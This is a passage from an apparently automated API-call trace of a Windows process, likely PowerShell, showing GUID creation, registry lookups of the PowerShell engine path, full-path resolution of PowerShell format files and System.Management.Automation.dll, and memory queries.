0x0 [0089.046] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x613ba3a9, Data2=0x9bc9, Data3=0x4844, Data4=([0]=0x91, [1]=0xa7, [2]=0x58, [3]=0x87, [4]=0x6c, [5]=0xcd, [6]=0x60, [7]=0xa))) returned 0x0 [0089.047] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x94148498, Data2=0x8a01, Data3=0x4c7a, Data4=([0]=0xba, [1]=0x3a, [2]=0x9e, [3]=0x32, [4]=0x4a, [5]=0xf1, [6]=0xc, [7]=0xc4))) returned 0x0 [0089.050] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x35bd9e10, Data2=0xf0c3, Data3=0x4501, Data4=([0]=0x87, [1]=0x49, [2]=0x51, [3]=0x24, [4]=0x11, [5]=0x5a, [6]=0x37, [7]=0xfe))) returned 0x0 [0089.050] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x418ed542, Data2=0x9c31, Data3=0x47c8, Data4=([0]=0xbb, [1]=0xe7, [2]=0x22, [3]=0xd, [4]=0x6b, [5]=0xb1, [6]=0x1, [7]=0x17))) returned 0x0 [0089.050] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x63b880be, Data2=0x8b7, Data3=0x4bae, Data4=([0]=0xb7, [1]=0xec, [2]=0x3, [3]=0xc2, [4]=0xcc, [5]=0x89, [6]=0xc2, [7]=0xd4))) returned 0x0 [0089.051] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x5b25548a, Data2=0xd0c0, Data3=0x46e6, Data4=([0]=0xb8, [1]=0xe3, [2]=0xcc, [3]=0xb8, [4]=0x23, [5]=0x7e, [6]=0x4c, [7]=0xeb))) returned 0x0 [0089.051] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xda58d11, Data2=0xfca5, Data3=0x4fb6, Data4=([0]=0x8b, [1]=0x2, [2]=0xb6, [3]=0x6c, [4]=0xe3, [5]=0xdf, [6]=0x8d, [7]=0xa2))) returned 0x0 [0089.052] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x983737a9, Data2=0xaa80, Data3=0x44bc, Data4=([0]=0xaf, [1]=0xc1, [2]=0x5b, [3]=0x23, [4]=0x7b, [5]=0xb1, [6]=0xb2, [7]=0x95))) returned 0x0 [0089.052] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x87b8dfab, Data2=0xebe4, Data3=0x4e7a, Data4=([0]=0x8a, [1]=0xd6, [2]=0x46, [3]=0x1, [4]=0x7f, [5]=0x8e, [6]=0xd2, [7]=0x28))) returned 0x0 [0089.053] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x724ccc63, Data2=0x867b, Data3=0x4183, Data4=([0]=0x90, [1]=0xd8, [2]=0xb7, [3]=0xb9, [4]=0x4b, [5]=0x24, [6]=0xf0, [7]=0x3b))) returned 0x0 [0089.053] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x695115b6, Data2=0x41f4, Data3=0x4cae, Data4=([0]=0xb9, [1]=0x1f, [2]=0x7f, [3]=0xa1, [4]=0x57, [5]=0xc1, [6]=0xe8, [7]=0xa1))) returned 0x0 [0089.053] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xbcc4d687, Data2=0x1e90, Data3=0x4483, Data4=([0]=0x8f, [1]=0xb3, [2]=0xda, [3]=0xf8, [4]=0xac, [5]=0xf6, [6]=0x97, [7]=0x61))) returned 0x0 [0089.054] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xfc66fa1d, Data2=0x93a2, Data3=0x4f8f, Data4=([0]=0x97, [1]=0xd7, [2]=0x54, [3]=0x6a, [4]=0x11, [5]=0x5c, [6]=0xc2, [7]=0x3a))) returned 0x0 [0089.054] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xd63c9677, Data2=0x8b02, Data3=0x4524, Data4=([0]=0xb6, [1]=0xaf, [2]=0x83, [3]=0xc2, [4]=0x94, [5]=0x86, [6]=0xc4, [7]=0x33))) returned 0x0 [0089.054] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xe39f7a20, Data2=0x5bfc, Data3=0x46f8, Data4=([0]=0x88, [1]=0xe3, [2]=0x5e, [3]=0xe3, [4]=0x58, [5]=0x16, [6]=0xeb, [7]=0xd8))) returned 0x0 [0089.055] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x6c125e31, Data2=0xf3c3, Data3=0x403b, Data4=([0]=0x8b, [1]=0x6d, [2]=0xe5, [3]=0xa8, [4]=0x60, [5]=0x2, [6]=0xb2, [7]=0x1c))) returned 0x0 [0089.055] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xc2d016f6, Data2=0xe164, Data3=0x42c3, Data4=([0]=0x99, [1]=0xa5, [2]=0x92, [3]=0xd0, [4]=0x68, [5]=0xaf, [6]=0x34, [7]=0x44))) returned 0x0 [0089.056] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x39caef45, Data2=0x81b3, Data3=0x402e, Data4=([0]=0xb0, [1]=0x66, [2]=0x8e, [3]=0x66, [4]=0x50, [5]=0x73, [6]=0x2a, [7]=0x50))) returned 0x0 [0089.056] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x577047bd, Data2=0x7c0a, Data3=0x4aa6, Data4=([0]=0x92, [1]=0x4e, [2]=0xab, [3]=0x75, [4]=0xdf, [5]=0xbe, [6]=0xbd, [7]=0xab))) returned 0x0 [0089.056] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xc8d5293b, Data2=0x485d, Data3=0x4a1b, Data4=([0]=0x91, [1]=0xd8, [2]=0x4c, [3]=0x4c, [4]=0x54, [5]=0x23, [6]=0xca, [7]=0x6))) returned 0x0 [0089.057] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x155b4b60, Data2=0x6280, Data3=0x4a73, Data4=([0]=0xa4, [1]=0x9f, [2]=0xfc, [3]=0x64, [4]=0x7d, [5]=0x8a, [6]=0x68, [7]=0x41))) returned 0x0 [0089.057] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xcf47f11, Data2=0x4d53, Data3=0x4fb1, Data4=([0]=0x81, [1]=0xc2, [2]=0xd2, [3]=0x39, [4]=0xc9, [5]=0x96, [6]=0x4e, [7]=0x95))) returned 0x0 [0089.057] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xe74f96ae, Data2=0x1f8c, Data3=0x46e0, Data4=([0]=0x8f, [1]=0x52, [2]=0xcc, [3]=0xac, [4]=0x83, [5]=0x30, [6]=0x5b, [7]=0x65))) returned 0x0 [0089.058] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x53c51dcb, Data2=0xeee6, Data3=0x43fe, Data4=([0]=0xbe, [1]=0xce, [2]=0xe1, [3]=0x30, [4]=0xe1, [5]=0xfb, [6]=0xcc, [7]=0x7d))) returned 0x0 [0089.058] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xab4d5eee, Data2=0x9ce6, Data3=0x45c8, Data4=([0]=0xa5, [1]=0x1f, [2]=0xf4, [3]=0xc3, [4]=0x60, [5]=0xa7, [6]=0xc2, [7]=0x4d))) returned 0x0 [0089.059] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xebfa4dd, Data2=0x7857, Data3=0x406a, Data4=([0]=0x94, [1]=0x62, [2]=0xfd, [3]=0xac, [4]=0x66, [5]=0x6a, [6]=0x88, [7]=0x7c))) returned 0x0 [0089.063] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xb32abea7, Data2=0xf68d, Data3=0x46a4, Data4=([0]=0x9f, [1]=0xb8, [2]=0xb6, [3]=0x98, [4]=0x3, [5]=0x19, [6]=0x5c, [7]=0xfe))) returned 0x0 [0089.065] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed108 | out: phkResult=0xed108*=0x308) returned 0x0 [0089.065] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed08c, lpData=0x0, lpcbData=0xed088*=0x0 | out: lpType=0xed08c*=0x1, lpData=0x0, lpcbData=0xed088*=0x56) returned 0x0 [0089.065] CoTaskMemAlloc (cb=0x5a) returned 0x1b3cdea0 [0089.065] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed05c, lpData=0x1b3cdea0, lpcbData=0xed058*=0x56 | out: lpType=0xed05c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed058*=0x56) returned 0x0 [0089.066] CoTaskMemFree (pv=0x1b3cdea0) [0089.066] RegCloseKey (hKey=0x308) returned 0x0 [0089.066] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0089.067] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xb2f97425, Data2=0x86e8, Data3=0x475e, Data4=([0]=0x9a, [1]=0xe5, [2]=0xde, [3]=0xe4, [4]=0xad, [5]=0xc3, [6]=0x21, [7]=0xb5))) returned 0x0 [0089.067] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x59ed0e79, Data2=0x3254, Data3=0x48db, Data4=([0]=0xad, [1]=0x82, [2]=0x79, [3]=0x59, [4]=0x94, [5]=0xba, [6]=0x70, [7]=0x8c))) returned 0x0 [0089.067] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xe1385a73, Data2=0xcff1, Data3=0x45df, Data4=([0]=0x8e, [1]=0x86, [2]=0x25, [3]=0xca, [4]=0xa8, [5]=0x57, [6]=0x8, [7]=0x41))) returned 0x0 [0089.067] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xc9ede306, Data2=0xcaf7, Data3=0x43ac, Data4=([0]=0x86, [1]=0xac, [2]=0x8c, [3]=0xe2, [4]=0x2e, [5]=0xc1, [6]=0x74, [7]=0x41))) returned 0x0 [0089.073] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed108 | out: phkResult=0xed108*=0x308) returned 0x0 [0089.073] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed08c, lpData=0x0, lpcbData=0xed088*=0x0 | out: lpType=0xed08c*=0x1, lpData=0x0, lpcbData=0xed088*=0x56) returned 0x0 [0089.073] CoTaskMemAlloc (cb=0x5a) returned 0x1b3cdea0 [0089.073] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed05c, lpData=0x1b3cdea0, lpcbData=0xed058*=0x56 | out: lpType=0xed05c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed058*=0x56) returned 0x0 [0089.073] CoTaskMemFree (pv=0x1b3cdea0) [0089.074] RegCloseKey (hKey=0x308) returned 0x0 [0089.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0089.082] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xd7371fc3, Data2=0x275f, Data3=0x41e3, Data4=([0]=0xa7, [1]=0x9e, [2]=0xec, [3]=0xa7, [4]=0x95, [5]=0x29, [6]=0x4f, [7]=0x5a))) returned 0x0 [0089.082] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x177e46a0, Data2=0x878a, Data3=0x4558, Data4=([0]=0x92, [1]=0xae, [2]=0x3, [3]=0x4d, [4]=0x7c, [5]=0xae, [6]=0x76, [7]=0xf9))) returned 0x0 [0089.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.126] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xbf9b38a5, Data2=0x8fa2, Data3=0x4bc6, Data4=([0]=0x8c, [1]=0x2a, [2]=0x6, [3]=0x21, [4]=0xe0, [5]=0x59, [6]=0xa8, [7]=0xf2))) returned 0x0 [0089.127] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.127] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.127] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.127] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.127] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.127] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.128] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.128] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.128] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.128] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.128] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebe10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.128] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebe10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.129] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.129] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.129] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.129] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.129] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.129] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.130] VirtualQuery (in: lpAddress=0xeb340, lpBuffer=0xec200, dwLength=0x30 | out: lpBuffer=0xec200*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.131] VirtualQuery (in: lpAddress=0xeb3d0, lpBuffer=0xec290, dwLength=0x30 | out: lpBuffer=0xec290*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.132] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.132] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.132] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.132] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.132] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.132] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.133] VirtualQuery (in: lpAddress=0xebb50, lpBuffer=0xeca10, dwLength=0x30 | out: lpBuffer=0xeca10*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.134] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.134] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.134] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.134] VirtualQuery (in: lpAddress=0xebb50, lpBuffer=0xeca10, dwLength=0x30 | out: lpBuffer=0xeca10*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.143] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x58b3fdfb, Data2=0x6b46, Data3=0x42ed, Data4=([0]=0x9c, [1]=0x6b, [2]=0x8d, [3]=0xd6, [4]=0xe3, [5]=0x3f, [6]=0x3d, [7]=0x12))) returned 0x0 [0089.143] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.143] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 